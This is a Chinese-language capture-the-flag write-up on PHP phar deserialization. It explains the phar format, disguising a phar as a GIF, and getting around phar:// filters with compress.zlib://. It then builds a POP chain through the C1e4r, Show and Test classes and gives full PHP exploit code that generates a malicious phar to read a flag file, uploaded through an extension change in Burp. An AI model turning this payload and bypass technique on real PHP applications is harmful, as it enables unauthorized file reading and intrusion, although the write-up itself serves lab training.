一、漏洞原理:
phar介绍:
简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。
phar结构由 4 部分组成:
stub phar 文件标识,格式为 xxx;
manifest 压缩文件的属性等信息,以序列化存储;
contents 压缩文件的内容;
signature 签名,放在文件末尾;
这里有两个关键点:
①文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制
②反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化
而这样的文件操作函数有很多:
将phar伪造成其他格式的文件:
只需要改文件头stub即可,php识别phar文件是通过其文件头的stub,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件:
$phar -> setStub('GIF89a'.'');
利用条件:
①phar文件能够上传
②文件操作函数参数可控,: / phar等特殊字符没有被过滤
③有可用的魔术方法作为"跳板"
绕过phar://不能出现在头部:
这时候我们可以利用compress.zlib://、compress.bzip2://、 compress.zlib://和compress.bzip2: //
payload:
compress.zlib://phar://phar.phar/test.txt
二、phar反序列化实例:
题目源码环境结构如下:
①pop链分析与构造
访问题目环境:
file.php是用于读取文件内容的,可利用此文件将以上文件的源码复制到本地进行分析(这里我就忽略了)
接下来分析关键代码class.php,文件中有三个类:C1e4r、Show和Test
首先我们根据受影响的函数,定位到漏洞触发点:
Test类中的file_get()方法,这里使用了file_get_contents()函数对$value进行了文件读取的操作:
这次我用倒推的思路进行分析,然后看哪个方法又调用了file_get()方法,发现同一个类中的get()方法调用了file_get()方法,然后我们来看一下$value的赋值过程,往前几行看到$value变量的赋值首先经过if判断$this->params[$key]是否有值,如果有值就赋值给$value,所以我们可以想办法将$value的值为flag文件路径
接着看get()方法在哪被调用,还是在Test类中,在__get()魔术方法中调用了get()方法
__get()魔术方法:
当程序调用一个未定义或不可见的成员变量时,会自动调用__get方法来读取变量的值
所以我们要想办法触发__get方法,发现在Show类中的__toString()方法中,使用$this->str['str']->source的方式使用了source属性,而source属性在Test类中是不存在的,所以我们只需要将$this->str['str']赋值为Test类即可触发__get()魔术方法,魔术方法_get() 是有形参的,而上面__get方法中所使用到的实参$key就是这个不存在的变量source
所以Test类中的get方法传入的实参为source,最终$this->params[$key]变为了$this->params['source'],也就是这,所以我们只需要将其赋值为flag文件的路径即可
接着我们要触发Show类中的__toString()方法,发现在C1e4r类中的析构方法__destruct()中用echo将test属性进行输出,而test属性在前面是通过str属性进行赋值的,所以我们只需要将str属性赋值为Show类将其作为字符串输出,从而触发其__toString()方法
所以完整的pop链为:
C1e4r::__destruct() -> Show::__toString() -> Test::__get() -> get() -> file_get()
获取flag文件的绝对路径:
file.php获取到网站根目录:
再通过show类中的_show方法的正则得知flag文件名:
所以绝对路径为:
/var/www/html/f1ag.php
②构造EXP:
<?php class C1e4r{ public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params; } $a = new C1e4r(); $b = new Show(); $c = new Test(); $a->str = $b; // 将C1e4r类的str属性设置为Show类触发其__toString()方法 $b->str['str']=$c; // 将Show类的str属性的str健值设置为Test类触发其__get()方法 $c->params['source'] ='/var/www/html/f1ag.php'; // 设置读取的文件名 // 生成phar文件 $phar = new Phar('phar.phar'); //后缀名必须为phar $phar -> stopBuffering(); $phar -> setStub(''); $phar -> setMetadata($a); //将自定义的meta-data存入manifest $phar -> addFromString('test.txt','test');//添加要压缩的文件 $phar -> stopBuffering(); //签名自动计算
生成phar文件需要修改php.ini中的配置:
然后执行exp生成phar文件
phar文件内容如下:
③上传phar进行利用:
上传phar文件并利用burp抓包
后端对文件后缀名进行了白名单限制,所以我们利用burp改后缀即可
改包后上传成功:
访问上传目录,可以看到刚才上传的文件:
然后利用phar协议读取flag即可:
http://c98f921e-51e5-42d6-a04a-ab1acfa5b6cd.node4.buuoj.cn:81/file.php?file=phar://upload/xxx.jpg